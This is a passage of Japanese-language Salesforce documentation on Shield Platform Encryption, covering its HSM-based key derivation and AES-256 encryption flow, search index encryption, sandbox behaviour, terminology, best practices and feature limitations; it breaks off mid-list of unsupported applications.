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バックグラウンド: Shield プラットフォームの暗号化のプロセス

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザがデータを送信する場合、アプリケーションサーバは、そのキャッシュ
から組織固有のデータ暗号化鍵を検索します。キャッシュにない場合、アプリ
ケーションサーバは、データベースから暗号化されたテナントの秘密を取得し、
鍵派生サーバに鍵の派生を要求します。次に、暗号化サービスにより、アプリ
ケーションサーバでデータが暗号化されます。
Salesforceは、ハードウェアセキュリティモジュール (HSM) を使用して、主秘密お
よびテナントの秘密を安全に生成します。一意の鍵は、主秘密およびテナント
の秘密を入力として、鍵派生関数 (KDF) の PBKDF2 を使用して派生します。

Shield プラットフォームの暗号化のプロセスフロー

1. Salesforceユーザが暗号化されたデータを保存すると、ランタイムエンジンはメタデータに基づいて、項目、
ファイル、または添付ファイルをデータベースに保存する前に暗号化するかどうかを判断します。

2. 暗号化する必要がある場合、暗号化サービスはキャッシュメモリの一致するデータ暗号化鍵をチェックし
ます。

3. 暗号化サービスは鍵が存在するかどうかを判断します。
a. 存在する場合、暗号化サービスは鍵を取得します。
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b. 存在しない場合、サービスは派生要求を鍵派生サーバに送信し、App Cloud で実行されている暗号化サー
ビスに返します。

4. 鍵の取得または派生後に、暗号化サービスはランダムな初期化ベクトル (IV) を生成し、256 ビットの AES 暗
号方式を使用してデータを暗号化します。

5. 暗号文は、データベースまたはファイルストレージに保存されます。データ暗号化鍵の派生に使用された
テナントの秘密の IV と対応する ID は、データベースに保存されます。

Salesforce は、各リリースの開始時に新しい主秘密を生成します。

関連トピック:

親トピックに戻る
Shield プラットフォームの暗号化の用語
http://sfdc.co/encryptwhitepaper

http://salesforce.vidyard.com/watch/dxWjwXhm4Fx56kl1eCwhqQ

バックグラウンド: 検索インデックスの暗号化のプロセス

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Salesforce 検索エンジンは、オープンソースのエンタープライズ検索プラット
フォームソフトウェア Apache Solr 上に構築されています。検索インデックスは、
データベースに保存された元のレコードにリンクするレコードデータのトーク
ンを保存しており、Solr 内に存在します。Salesforce では、検索インデックスは
パーティションでセグメントに分割されるので、規模を拡張できます。Apache

Lucene はコアライブラリとして使用されます。

メモ: Salesforce アカウントエグゼクティブに問い合わせるか、サポートチ
ケットを開いて、検索インデックスの暗号化を有効にします。この機能は
Government Isolation Architecture のお客様は使用できません。

Shield プラットフォームの暗号化の HSM ベースの鍵派生アーキテクチャ、メタ
データ、および設定を活用して、検索インデックスの暗号化は Shield プラット
フォームの暗号化が使用されているときに実行されます。解決策として、組織
固有の AES-256 ビット暗号化鍵を使用して、組織固有の検索インデックス (ファ
イルの種類は .fdt、.tim、および .tip) に強力な暗号化を適用します。検索インデッ
クスは検索インデックスセグメントレベルで暗号化され、すべての検索インデッ
クス操作では、インデックスブロックがメモリ内で暗号化される必要がありま
す。
[設定] やユーザインターフェースでの変更ではないため、追加された保護はシームレスであり、組織の暗号化
ポリシーで決定されます。
検索インデックスや鍵キャッシュにアクセスするには、プログラムで API を使用するほかありません。
検索インデックスファイルが暗号化される前に、Salesforceセキュリティ管理者は検索インデックスの暗号化を
有効にする必要があります。これにより、システム管理者は暗号化ポリシーを設定し、暗号化を使用してどの
データ要素を埋め込むかを決定します。システム管理者が Shield プラットフォームの暗号化を設定するには、
暗号化する項目とファイルを選択します。特に検索インデックス暗号化の組織固有の HSM 派生鍵はオンデマ
ンドでテナントの秘密から派生します。鍵素材は安全なチャネルの検索エンジンのキャッシュに渡されます。
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ユーザがレコードを作成または編集するときのプロセスは、次のとおりです。
1. コアアプリケーションで、検索インデックスセグメントをメータデータに基づいて暗号化するかどうかを

決定します。
2. 検索インデックスセグメントを暗号化する必要がある場合は、暗号化サービスにより、キャッシュメモリ

内で検索暗号化鍵 ID の一致があるかどうかが確認されます。
3. 暗号化サービスで、鍵がキャッシュに存在するかどうかが判断されます。

a. キャッシュに鍵が存在する場合、暗号化サービスはその鍵を暗号化に使用します。
b. 鍵が存在しない場合、要求がコアアプリケーションに送信されます。コアアプリケーションは鍵派生

サーバに認証済み派生要求を送信し、鍵がコアアプリケーションサーバに返されます。

4. 鍵の取得後に、暗号化サービスはランダムな初期化ベクトル (IV) を生成し、NSS または JCE の AES-256 実装を
使用してデータを暗号化します。

5. 鍵 ID (インデックスセグメントの暗号化に使用される鍵の ID) と IV は検索インデックスに保存されます。
ユーザが暗号化データを検索するときのプロセスは、次に示すように、類似しています。
1. ユーザが用語を検索すると、用語は検索対象の Salesforce オブジェクトとともに検索インデックスに渡され

ます。
2. 検索インデックスで検索が実行されると、暗号化サービスはメモリ内の検索インデックスの該当するセグ

メントを開き、鍵 ID と IV を参照します。
3. ユーザがレコードを作成または編集する場合のプロセスのステップ 3 から 5 が繰り返されます。
4. 検索インデックスでは検索が処理され、結果がユーザにシームレスに返されます。
Salesforceシステム管理者が項目の暗号化を無効にすると、暗号化されていたすべてのインデックスセグメント
の暗号化が解除され、鍵 ID は Null に設定されます。このプロセスには最大 7 日間かかります。

Shield プラットフォームの暗号化のリリース方法

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Force.com IDE、移行ツール、ワークベンチなどのツールを使用して Shield プラッ
トフォームの暗号化を組織にリリースする場合、暗号化項目属性は保持されま
す。ただし、異なる暗号化設定の組織にリリースする場合、その影響は対象組
織でShield プラットフォームの暗号化が有効になっているかどうかによって異な
ります。
変更セットを使用してShield プラットフォームの暗号化をカスタム項目にリリー
スできます。Salesforce は、リリース方法に関係なく、実装がShield プラットフォー
ムの暗号化のガイドラインに違反しないかどうかを自動的に確認します。

結果対象組織ソース組織

ソース暗号化項目属性で
有効化が示される

Shield プラットフォームの
暗号化が有効

Shield プラットフォームの
暗号化が有効

暗号化項目属性が無視さ
れる

Shield プラットフォームの
暗号化が有効でない

Shield プラットフォームの
暗号化が有効
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結果対象組織ソース組織

対象暗号化項目属性で有効化が示
される

Shield プラットフォームの暗号化が
有効

Shield プラットフォームの暗号化が
有効でない

メモ: このページは、従来の暗号化ではなく Shield プラットフォームの暗号化について書かれています。
この違いについては、こちらをクリックしてください。

関連トピック:

親トピックに戻る
変更セット

Shield プラットフォームの暗号化は、Sandbox でどのように機能しますか?

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

本番組織からSandboxを更新すると、本番組織の正確なコピーが作成されます。
本番組織でShield プラットフォームの暗号化が有効になっている場合、本番で作
成されたテナントの秘密を含め、すべての暗号化設定がコピーされます。
Sandboxが更新されると、テナントの秘密の変更が現在の組織に限定されます。
つまり、Sandboxのテナントの秘密をローテーションまたは破棄しても、本番組
織には影響がないことを意味します。
ベストプラクティスとして、更新後に Sandbox のテナントの秘密をローテーショ
ンします。ローテーションにより、本番と Sandbox で異なるテナントの秘密が使
用されます。Sandbox のテナントの秘密を破棄すると、部分コピーの場合も完全
コピーの場合も暗号化データを使用できなくなります。

メモ: このページは、従来の暗号化ではなく Shield プラットフォームの暗号
化について書かれています。この違いについては、こちらをクリックして
ください。

関連トピック:

親トピックに戻る

939

Shield プラットフォームの暗号化で Salesforce データを
保護

Salesforce 組織の設定および管理



Shield プラットフォームの暗号化の用語

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

暗号化には、独自の特殊な用語があります。Shield プラットフォームの暗号化機
能を最大限活用するために、ハードウェアセキュリティモジュール、鍵のロー
テーション、主秘密などの重要な用語をよく理解することをお勧めします。
データの暗号化

データに暗号関数を適用して暗号文にするプロセスです。プラットフォーム
の暗号化プロセスでは、対称鍵暗号化と 256 ビットの AES (Advanced Encryption

Standard) アルゴリズムを使用して、Salesforce プラットフォームに保存されて
いる項目レベルのデータおよびファイルを暗号化します。このアルゴリズム
では、CBC モード、PKCS5 パディング、および 128 ビットランダム初期化ベク
トル (IV) が使用されます。データの暗号化と復号化のどちらもアプリケーショ
ンサーバで実行されます。

データ暗号化鍵
Shield プラットフォームの暗号化では、データ暗号化鍵を使用してデータを
暗号化および復号化します。データ暗号化鍵は、鍵派生サーバで、リリース
ごとの主秘密と、組織の一部としてデータベースに暗号化された状態で保存
されている組織固有のテナントの秘密間に、鍵生成素材を分割して抽出され
ます。256 ビットの派生鍵は、キャッシュから強制削除されるまでメモリ内に存在します。

保存された暗号化データ
ディスクへの保存時に暗号化されたデータです。Salesforceでは、データベースに保存されている項目、ファ
イル、コンテンツライブラリ、および添付ファイルに保存されているドキュメント、アーカイブデータの
暗号化をサポートしています。

暗号化鍵管理
鍵の作成、処理、保存など鍵管理の各側面を参照してください。テナントの秘密の管理は、システム管理
者または「暗号化鍵の管理」権限を持つユーザが実行します。

ハードウェアセキュリティモジュール (HSM)

認証用の暗号処理および鍵管理を行うために使用します。Shield プラットフォームの暗号化では、秘密の素
材を生成して保存したり、暗号化サービスがデータの暗号化や復号化に使用するデータ暗号化鍵を派生す
る関数を実行したりするために HSM を使用します。

初期化ベクトル (IV)

鍵と併用してデータを暗号化するランダムなシーケンスです。
鍵派生関数 (KDF)

擬似乱数生成機能とパスワードなどの入力を組み合わせて鍵を派生します。Shield プラットフォームの暗号
化では、PBKDF2 (パスワードベースの鍵派生関数 2) に HMAC-SHA-256 を使用します。

鍵 (テナントの秘密) のローテーション
新しいテナントの秘密を生成して、それまで有効であったものをアーカイブするプロセスです。有効なテ
ナントの秘密は、暗号化と復号化の両方に使用されます。新しい有効なテナントの秘密を使用してすべて
のデータが再暗号化されるまでは、アーカイブされた秘密が復号化にのみ使用されます。
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主 HSM

主 HSM は、Salesforce のリリース時に毎回、安全な秘密をランダムに生成するために USB デバイスを使用し
ます。主 HSM は、Salesforce の本番ネットワークから「隔離」されており、銀行の貸金庫に安全に保管され
ています。

主秘密
テナントの秘密および鍵派生関数と組み合わせて、派生データ暗号化鍵を生成します。主秘密は Salesforce

のリリース時に毎回更新され、リリースごとの主ラッピング鍵を使用して暗号化されます。その後、暗号
化された状態でファイルシステムに保存できるように鍵派生サーバの公開鍵で暗号化されます。これは、
HSM でのみ復号化できます。Salesforce の従業員は、クリアテキストのこれらの鍵にアクセスできません。

主ラッピング鍵
対称鍵が派生し、主ラッピング鍵 (鍵ラッピング鍵ともいう) として使用され、リリースごとの鍵と秘密の
バンドルをすべて暗号化します。

テナントの秘密
組織固有の秘密で、主秘密および鍵派生関数と組み合わせて、派生データ暗号化鍵を生成します。組織の
システム管理者が鍵をローテーションすると、新しいテナントの秘密が生成されます。API 経由でテナント
の秘密にアクセスする場合は、TenantSecret オブジェクトを参照してください。Salesforceの従業員は、クリア
テキストのこれらの鍵にアクセスできません。

関連トピック:

親トピックに戻る
バックグラウンド: Shield プラットフォームの暗号化のプロセス
http://sfdc.co/encryptwhitepaper

従来の暗号化と Shield プラットフォームの暗号化との違い

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption では、広く使用されているさまざまな標準項目、一部の
カスタム項目、および種々のファイルを暗号化できます。Shield Platform Encryption

では、個人取引先、ケース、検索、承認プロセス、およびその他の重要な Salesforce

機能もサポートします。従来の暗号化では、その目的で作成した特殊なカスタ
ムテキスト項目のみを保護できます。

Shield プラット
フォームの暗号化

従来の暗号化機能

追加料金が課せられ
る

基本のユーザライセ
ンスに含まれる

価格設定

保存時の暗号化

ネイティブソリューション (ハード
ウェアまたはソフトウェアは不要)

256 ビットの
Advanced Encryption

Standard (AES)

128 ビットの
Advanced Encryption

Standard (AES)

暗号化アルゴリズム

941

Shield プラットフォームの暗号化で Salesforce データを
保護

Salesforce 組織の設定および管理

http://sfdc.co/encryptwhitepaper


Shield プラットフォームの
暗号化

従来の暗号化機能

HSM ベースの鍵の派生

「暗号化鍵の管理」権限

鍵の生成、エクスポート、インポート、破棄

PCI-DSS L1 準拠

マスク

種別と文字をマスク

暗号化された項目値の参照に「暗号化されたデー
タの参照」権限が必要

標準項目の暗号化

添付ファイル、ファイル、およびコンテンツの暗
号化

(カスタムデータ型専用、175

文字に制限)

暗号化カスタム項目

サポート対象のカスタム項目のデータ型について
既存の項目を暗号化

検索 (UI、部分検索、ルックアップ、特定の SOSL

クエリ)

API へのアクセス

ワークフロールールおよびワークフロー項目自動
更新で使用可能

承認プロセスの開始条件および承認ステップ条件
で使用可能

メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされなくなります。これは、暗号化
データを操作するための一部のユーザの機能に影響する可能性があります。特定のユーザに表示されな
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いようにしたいデータがある場合、項目レベルセキュリティ設定 (ページ 627)、レコードアクセス設定、
およびオブジェクト権限 (ページ 630)に再確認します。

関連トピック:

暗号化できる項目は?

どのファイルが暗号化されますか?

カスタム項目の従来の暗号化
Shield プラットフォームの暗号化で Salesforce データを保護
親トピックに戻る
Shield プラットフォームの暗号化で Salesforce データを保護
カスタム項目の従来の暗号化

プラットフォームの暗号化のベストプラクティス

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

組織にとって可能性が最も高い脅威を特定します。これは、必要なデータのみ
を暗号化できるように、暗号化が必要なデータと不要なデータを区別するのに
役立ちます。テナントの秘密と鍵がバックアップされていることを確認し、秘
密および鍵の管理を許可するユーザを慎重に検討します。

メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされな
くなります。これは、暗号化データを操作するための一部のユーザの機能
に影響する可能性があります。特定のユーザに表示されないようにしたい
データがある場合、項目レベルセキュリティ設定 (ページ627)、レコードア
クセス設定、およびオブジェクト権限 (ページ 630)に再確認します。

1. 組織に対する脅威モデルを定義する。
脅威モデルの正規の演習に従って、組織に影響を及ぼす可能性が最も高い脅
威を特定します。その結果を基にデータ分類スキームを作成し、どのデータ
を暗号化するかを判断します。

2. 必要な場合のみ暗号化する。
• すべてのデータが機密に該当するわけではありません。規制上、セキュ

リティ上、コンプライアンス上、およびプライバシー上の要件を満たすために暗号化が必要な情報に的
を絞ります。無用にデータを暗号化すれば、機能やパフォーマンスに影響します。

• 早い段階でデータ分類スキームを評価し、セキュリティ部門、コンプライアンス部門、およびをビジネ
ス IT 部門の関係者と協力して要件を規定します。ビジネスに欠かせない機能と、セキュリティおよびリ
スク対策のバランスを取り、脅威に関する仮説を定期的に検証します。

3. 早い段階で鍵やデータをバックアップおよびアーカイブする戦略を立てる。
テナントの秘密が破棄された場合は、再インポートしてデータにアクセスします。データおよびテナント
の秘密をバックアップして、安全な場所に保存する責任はお客様が単独で負うものとします。Salesforceは、
テナントの秘密の削除、破棄、置き忘れが発生してもサポートできません。

4. ユーザ権限に関係なく、全ユーザに暗号化が適用されることを理解する。
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「暗号化されたデータの参照」権限を使用して、暗号化項目の値をプレーンテキストで参照するユーザ
を制御します。ただし、これらの項目の保存データは、ユーザ権限に関係なく保存時に暗号化されま
す。

•

• 暗号化データを扱うユーザには、機能上の制限事項が適用されます。暗号化を一定のビジネスユーザに
適用できるかどうか、適用した場合にデータを扱う他のユーザにどのような影響があるかを検討しま
す。

5. Shield プラットフォームの暗号化の考慮事項を読み、組織への影響を理解する。
• 考慮事項によるビジネスソリューションおよび実装への影響を評価します。
• Shield プラットフォームの暗号化を本番組織にリリースする前に Sandbox 環境でテストします。
• 暗号化を有効にする前に、判明した違反を修正します。たとえば、SOQL の WHERE 句の暗号化項目を参

照すると違反がトリガされます。同様に、SOQL の ORDER BY 句の暗号化項目を参照した場合も違反が発
生します。どちらの場合も、暗号化項目への参照を削除して違反を修正します。

6. リリースする前に AppExchange アプリケーションを分析およびテストする。
• AppExchange で入手したアプリケーションを使用する場合は、組織で暗号化データを操作する方法をテ

ストし、機能に影響がないか評価します。
• アプリケーションでSalesforce外に保存される暗号化データを操作する場合、データ処理が生じる方法と

場所、および情報を保護する方法を調査します。
• Shield プラットフォームの暗号化によるアプリケーションの機能への影響が疑われる場合は、プロバイ

ダに評価を見せて協力を求めます。また、Shield プラットフォームの暗号化に対応するカスタムソリュー
ションについて相談します。

• Force.com のみを使用して作成されたAppExchangeのアプリケーションは、Shield プラットフォームの暗号
化の機能および制限事項を継承します。

7. プラットフォームの暗号化は、ユーザ認証ツールではありません。どのユーザがどのデータを参照できる
のかを制御するには、プラットフォームの暗号化ではなく、項目レベルのセキュリティ設定、ページレイ
アウト設定、入力規則を使用します。「暗号化されたデータの参照」権限が誤ってユーザに付与された場
合でも、該当するデータのみが表示されるようにします。
デフォルトでは、「暗号化されたデータの参照」権限のないユーザを含め、すべてのユーザが暗号化項目
を編集できます。

8. 「暗号化鍵の管理」ユーザ権限を承認されたユーザのみに付与する。
「暗号化鍵の管理」権限を持つユーザは、組織固有の鍵を生成、エクスポート、インポート、および破壊
できます。設定変更履歴を使用して、これらのユーザの鍵管理アクティビティを日常的に監視します。

9. 「暗号化されたデータの参照」ユーザ権限を承認されたユーザのみに付与する。
「暗号化されたデータの参照」権限を、機密データをプレーンテキストで参照する必要のあるインテグレー
ションユーザなど、暗号化項目をプレーンテキストで参照する必要のあるユーザに付与します。暗号化ファ
イルは、「暗号化されたデータの参照」権限の有無に関係なく、ファイルへのアクセス権があるすべての
ユーザに表示されます。

10. 既存のデータを一括暗号化する。
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Shield プラットフォームの暗号化を有効にした時点で既存の項目およびファイルのデータは自動的に暗号化
されません。既存の項目データを暗号化するには、項目データに関連付けられているレコードを更新しま
す。このアクションにより、これらのレコードの暗号化がトリガされ、保存時に既存の保存データが暗号
化されます。既存のファイルを暗号化する方法については、Salesforce にお問い合わせください。

11. 機密データに [通貨] 項目と [数値] 項目を使用しないでください。
多くの場合、関連付けられた [通貨] または [数値] 項目を暗号化しなくても、非公開データや機密デー
タ、規制対象のデータを安全に保管できます。上記の項目を暗号化した場合、積み上げ集計レポート、レ
ポート期間、計算に混乱が生じるなど、プラットフォーム全体の幅広い機能に影響が及ぶことがあるため、
暗号化できなくなります。

12. 暗号化の影響についてユーザに通知する。
本番環境でShield プラットフォームの暗号化を有効にする前に、ビジネスソリューションにどのような影響
があるかをユーザに通知します。たとえば、ビジネスプロセスに関連する場合、Shield Platform Encryption の
考慮事項に記載されている情報を共有します。

13. ログインアクセスを許可するときは慎重に判断する。
「暗号化されたデータの参照」権限を持つユーザが別のユーザにログインアクセスを許可すると、その別
ユーザが暗号化項目をプレーンテキストで参照できるようになります。

14. 最新の鍵を使用してデータを暗号化する。
新しいテナントの秘密を生成すると、新しいデータはすべてこの鍵を使用して暗号化されます。他方、既
存の機密データは以前の鍵で暗号化されたままです。こうした場合、Salesforce では、最新の鍵を使用して
既存の項目を再暗号化することを強くお勧めします。このサポートが必要な場合は、Salesforce にお問い合
わせください。

関連トピック:

親トピックに戻る
https://resources.docs.salesforce.com/202/latest/en-us/sfdc/pdf/salesforce_platform_encryption_implementation_guide.pdf
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Shield Platform Encryption のトレードオフおよび制限事項

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption と同様に強力なセキュリティソリューションには、一部
のトレードオフが伴います。データが強力に暗号化されていると、一部のユー
ザの機能に制約が生じる場合があり、一部の機能はまったく使用できなくなり
ます。暗号化戦略を策定する場合は、ユーザおよび全体的なビジネスソリュー
ションに対する影響を考慮します。

Shield Platform Encryption の一般的な考慮事項
次の考慮事項は、Shield プラットフォームの暗号化を使用して暗号化するす
べてのデータに適用されます。
暗号化されたデータをサポートする Salesforce アプリケーション
一部のSalesforce機能セットでは、保存時に暗号化されたデータを使用した場
合に期待どおりに動作します。それ以外の機能セットは期待どおりに動作し
ません。
Shield プラットフォームの暗号化と Lightning Experience

Shield プラットフォームの暗号化は、Lightning Experience でも Salesforce Classic と
同様に動作しますが、いくつか軽微な例外があります。
Shield Platform Encryption による項目の制限
一定の状況で項目を暗号化すると、その項目に保存する値に制限を課すことができます。項目を暗号化す
る前に、これらの制限を把握するようにしてください。

関連トピック:

プラットフォームの暗号化の概要
互換性の問題の修正
https://resources.docs.salesforce.com/202/latest/en-us/sfdc/pdf/salesforce_platform_encryption_implementation_guide.pdf
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Shield Platform Encryption の一般的な考慮事項

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

次の考慮事項は、Shield プラットフォームの暗号化を使用して暗号化するすべて
のデータに適用されます。

メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされな
くなります。これは、暗号化データを操作するための一部のユーザの機能
に影響する可能性があります。特定のユーザに表示されないようにしたい
データがある場合、項目レベルセキュリティ設定 (ページ627)、レコードア
クセス設定、およびオブジェクト権限 (ページ 630)に再確認します。

カスタム項目
カスタム数式項目または条件に基づく共有ルールで暗号化されたカスタム項目
は使用できません。

ヒント: 暗号化されたカスタム数式項目はパイロットプログラムのいくつ
かの方法で参照できます。パイロットプログラムへの参加をご希望の場合
は、Salesforce の担当者にお問い合わせください。詳細は、「カスタム数式
項目、フロー、プロセスビルダーを使用した暗号化データへのアクセス (パ
イロット)」を参照してください。

一部のカスタム項目は暗号化できません。
• [ユニーク]あるいは [外部 ID]属性のある項目、または以前に暗号化されたカスタム項目に基づいてこれ

らの属性が含まれる項目
• カスタム数式項目で使用されている項目
• 外部データオブジェクトの項目
• 取引先と取引先責任者のリレーションで使用されている項目
スキーマビルダーを使用して暗号化カスタム項目を作成することはできません。

SOQL/SOSL

• 暗号化項目は、次の SOQL や SOSL の句および関数では使用できません。
– MAX()、MIN()、COUNT_DISTINCT() などの集計関数
– WHERE 句
– GROUP BY 句
– ORDER BY 句

ヒント:  SOQL クエリの WHERE 句を SOSL の FIND クエリに置き換えることができるかどうかを検討してく
ださい。

• 暗号化データをクエリすると、予測される MALFORMED_QUERY ではなく、無効な文字列によって
INVALID_FIELD エラーが返されます。
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Lightning Sync

Shield Platform Encryption を有効にすると、ユーザに「暗号化されたデータの参照」権限がある場合にのみ、
Lightning Sync によりユーザのメールおよびカレンダーアプリケーションと Salesforce の間で同期されます。

Lightning for Outlook

Shield Platform Encryptionが有効になっている場合、「暗号化されたデータの参照」権限がないOutlook 向け Lightning

ユーザには、Outlook の暗号化された項目にマスクされた値が表示されます。

Salesforce for Outlook

Shield Platform Encryption を有効にすると、ユーザに「暗号化されたデータの参照」権限がある場合にのみ、
Salesforce for Outlook により Microsoft Outlook と Salesforce の間で同期されます。

ポータル
組織でポータルが有効になっている場合、標準項目を暗号化することはできません。すべてのカスタマーポー
タルとパートナーポータルを無効にして、標準項目の暗号化を有効にします (コミュニティはサポートされて
います)。

検索
鍵を使用して項目を暗号化し、その後鍵を破棄しても、対応する検索語は検索インデックスに残ります。ただ
し、破棄した鍵に関連付けられたデータは復号化できません。

取引先、個人取引先、および取引先責任者
個人取引先が有効になっている場合、取引先の次のいずれかの項目を暗号化すると、取引先責任者の対応する
項目も暗号化されます。逆の場合も同様です。
• 名前
• 説明
• 電話
• Fax

取引先または取引先責任者の次のいずれかの項目を暗号化すると、個人取引先の対応する項目も暗号化されま
す。
• 名前
• 説明
• 住所(郵送先)

• 電話
• Fax

• モバイル
• 自宅電話
• その他の電話

948

Shield プラットフォームの暗号化で Salesforce データを
保護

Salesforce 組織の設定および管理



• メール
[取引先名] または [取引先責任者名] 項目が暗号化されている場合、マージ対象の重複する取引先または取引先
責任者を検索しても、結果が返されません。
取引先責任者の [名] または [姓] 項目を暗号化すると、名または姓で絞り込んでない場合にのみカレンダーの招
待主のルックアップにその取引先責任者が表示されます。
取引先責任者レコードの [敬称] 項目と [肩書き] 項目の値が暗号化されていない場合でも、「暗号化されたデー
タの参照」権限のないユーザに対してこれらの項目をマスクして表示することができます。

メール
• メールテンプレートに暗号化項目の値が含まれる場合、「暗号化されたデータの参照」権限のあるユーザ

に対してはこれらの値がプレーンテキストで表示されます。それ以外のユーザに対しては、実行ユーザの
権限によってデータが受信者にプレーンテキストで表示されるかマスクされるかが決まります。

• 「暗号化されたデータの参照」権限のないユーザは、登録情報照会要求を送信できません。
• 「暗号化されたデータの参照」権限のないユーザは、取引先責任者の一括メール送信を使用してメールを

送信することができません。
• 標準の [メール] 項目が暗号化されている場合は、メール to Salesforce で受信メールを受信できません。
• 標準の [メール] 項目が暗号化されている場合は、取引先責任者、リード、または個人取引先の詳細ページ

で、無効なメールアドレスにフラグが付けられません。不達処理が期待どおりに機能する必要がある場合
は、標準の [メール] 項目を暗号化しないようにします。

活動
[活動履歴] 関連リストの項目は、参照している項目が暗号化されていても、プレーンテキストで表示されるこ
とがあります。

キャンペーン
暗号化項目で検索する場合、キャンペーンメンバーの検索はサポートされません。

メモ
新しいメモツールで作成されたメモの本文テキストは暗号化できますが、古いメモツールで作成されたプレ
ビューファイルおよびメモはサポートされません。

項目監査履歴
以前にアーカイブされた項目監査履歴のデータは、プラットフォームの暗号化を有効にしても暗号化されませ
ん。たとえば、組織で項目監査履歴を使用して、電話番号項目などの取引先項目に対してデータ履歴保持ポリ
シーを定義するとします。その項目の暗号化を有効にすると、新しい電話番号レコードが作成時に暗号化され
ます。[取引先履歴] 関連リストに保存された電話番号項目への以前の更新も暗号化されます。ただし、
FieldHistoryArchive オブジェクトにアーカイブ済みの電話番号履歴データは、暗号化されずに保存され
ます。以前にアーカイブしたデータを暗号化する必要がある場合は、Salesforce にお問い合わせください。
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ページレイアウト
「暗号化されたデータの参照」権限のないプロファイルとしてページレイアウトをプレビューすると、プレ
ビューのサンプルデータはマスクされません。サンプルデータが空白になるか、プレーンテキストで表示され
ることがあります。

コミュニティ
• 「暗号化されたデータの参照」権限があるコミュニティユーザについては、データを暗号化してもコミュ

ニティの操作性に何ら変更はありません。ただし、[取引先名] 項目を暗号化し、個人取引先を使用してい
ない場合は、暗号化によってシステム管理者に対するユーザのロールの表示方法に影響します。通常、コ
ミュニティユーザのロール名は、ユーザの取引先名とユーザプロファイル名の組み合わせで表示されます。
[取引先名] 項目を暗号化すると、取引先名の代わりに取引先 ID が表示されます。
たとえば、[取引先名] 項目が暗号化されていない場合、「Acme」という取引先に属し、「カスタマーユー
ザ」プロファイルを使用するユーザには、[Acme カスタマーユーザ] というロールが設定されます。[取引
先名] 項目が暗号化されている (かつ個人取引先が使用されていない) 場合は、[001D000000IRt53 カスタ
マーユーザ] のようなロールが表示されます。

• 従来の暗号化を使用して暗号化されたカスタム項目は、「暗号化されたデータの参照」権限があってもコ
ミュニティユーザにはマスクされます。

REST API

項目が暗号化されている場合は、REST API を介して自動推奨を取得しません。

データのインポート
データインポートウィザードを使用して、主従関係を使用する照合や、暗号化項目を含むレコードの更新を行
うことはできません。ただし、新しいレコードを追加することはできます。

レポート、ダッシュボード、およびリストビュー
• 暗号化項目の値を表示するレポートグラフおよびダッシュボードコンポーネントが、暗号化されていない

状態でキャッシュされることがあります。
• 暗号化された項目でリストビューのレコードを並び替えることはできません。

一般情報
• 暗号化項目は、以下では使用できません。

– 条件に基づく共有ルール
– 類似商談検索
– 外部参照関係
– スキニーテーブル
– データ管理ツールの検索条件
– 重複管理の一致ルール
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• Live Agent チャットトランスクリプトは保存時に暗号化されません。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

関連トピック:

親トピックに戻る

暗号化されたデータをサポートする Salesforce アプリケーション

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

一部の Salesforce 機能セットでは、保存時に暗号化されたデータを使用した場合
に期待どおりに動作します。それ以外の機能セットは期待どおりに動作しませ
ん。
次のアプリケーションでは、暗号化されたデータがサポートされません。ただ
し、次のアプリケーションが使用中の場合、その他のアプリケーションに対し
て暗号化を有効にできます。
• Connect Offline

• Data.com

• Heroku (ただし、Heroku Connect では、暗号化されたデータがサポートされま
す。)

• Marketing Cloud (ただし、Marketing Cloud Connect では、暗号化されたデータがサ
ポートされます。)

• Pardot (ただし、Pardot 組織でメールアドレスが同じ複数のプロスペクトが許
可されている場合、Pardot Connect では暗号化された取引先責任者メールアド
